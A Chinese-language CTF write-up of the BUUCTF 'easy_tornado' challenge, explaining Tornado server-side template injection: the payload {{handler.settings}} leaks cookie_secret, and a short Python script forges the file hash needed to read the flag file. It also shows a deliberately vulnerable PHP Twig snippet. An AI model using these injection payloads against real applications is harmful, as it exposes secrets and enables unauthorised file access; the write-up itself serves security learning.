BUUCTF_WEB_20200915

WEB-easy_tornado

考点:模板注入、tornado模板中rander.setting访问对象

1.拿到题后有三个文档

BUUCTF_WEB_20200915

2.点开第一个显示flag in /fllllllllllllag,先不要急往下看,willcome.txt中有一个render,也不急,继续往下看hints.txt中md5(cookie_secret+md5(filename))

从url可以得到文件的hash,所以现在缺少的是cookie_secret。然后,我们回头看刚刚已知的信息“flag in /fllllllllllllag”这里我们尝试filename= /fllllllllllllag,呕吼,返回了ERROR
BUUCTF_WEB_20200915
接下来我们修改Error,改为1,2,3,123均返回本身
BUUCTF_WEB_20200915

这里涉及到此题的第一个重点模板注入模板注入(模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程)

  • 模板注入检测原理:如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。
    修改渲染的模版内容,得到用户的控制便可进行xss
<?php
require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php'; // __file__获得文件的绝对地址
Twig_Autoloader::register(true); // ::调用类中的静态方法
$twig= new Twig_Environment(new Twig_Loader_String());
$output= $twig->render("Hello {{name}}", array("name" => $_GET["name"]));  // 将用户输入作为模版变量的值 echo $output;


require_once dirname(__FILE__) . '/../lib/Twig/Autoloader.php';
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
$output = $twig->render("Hello {$_GET['name']}");  // 将用户输入作为模版内容的一部分 echo $output;

?>
  • 以上作为理解模板注入的一些参考

接下来就谈到本题的第二个重点rander.setting访问对象

 <title>
     {{ escape(handler.settings["cookie"]) }}
 </title>
  • 这两个{{}}和这个字典对象也许大家就看出来了,没错就是这个handler.settings对象handler 指向RequestHandler而RequestHandler.settings又指向self.application.settings**
    **所有handler.settings就指向RequestHandler.application.settings了!大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret
    所以我们传入msg={{handler.settings}},返回
    {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '41ed6592-3367-4522-936c-572ab93128e9'}
    BUUCTF_WEB_20200915
    这里得到了我们缺少的条件cookie_secret:41ed6592-3367-4522-936c-572ab93128e9

接下来我们开始最后一步md5(cookie_secret+md5(filename))根据此式子编写脚本

得到filehash():6addbbad1faa05759144f984eacc1345
BUUCTF_WEB_20200915

  • 脚本自取:
import hashlib
import sys

def md5(s):
    md5 = hashlib.md5()
    md5.update(s.encode("utf-8"))
    return md5.hexdigest()  # 返回16进制
def filehash():
    filename = '/fllllllllllllag'
    cookie_secret = '41ed6592-3367-4522-936c-572ab93128e9'
    print(md5(cookie_secret+md5(filename)))
if __name__=='__main__':
    filehash()

最后一步,构造payload:http://e942e9b3-e6e7-48a8-8ede-317667a1c938.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=6addbbad1faa05759144f984eacc1345
BUUCTF_WEB_20200915

flag

flag{8c57d166-f8bb-47dd-87d0-6c34fbc649e2}

上一篇:jwt使用


下一篇:BUUCTF-[极客大挑战 2019]Http wp